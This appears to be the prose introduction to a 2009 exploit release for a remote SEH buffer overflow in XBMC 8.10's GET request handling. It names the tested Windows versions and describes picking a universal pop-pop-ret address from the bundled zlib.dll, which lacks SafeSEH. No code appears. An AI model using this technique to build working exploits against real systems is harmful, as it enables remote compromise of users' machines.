Xbmc get request remote buffer overflow 8.10 *seh*(Universal address)!!

Tested:Win xp sp2 eng Win vista sp1
Vendor url:http://xbmc.org/
Release date:April the 4th 2009

versions affected: windows all versions.

I had tried awhile to get a nice pop ebx pop ret address and just
could not find a suitable one especially that was any good.and it
had to be shipped with the application and not have /safe seh.

To start with i looked at the zlib.dll to see of there were any
nice pop pop ret address i noticed there was one in particular that
stood out and decided to try it.

There is no need for me to release any more exploits for this application
as i have covered all the areas which i wanted to and want to
move on from this.

If your interested to see how this worked attach a debugger and add some
hit tracing :).It is possible to use this with all the buffer overflows
i released.

Credits to n00b for finding the buffer overflow and writing
exploit.
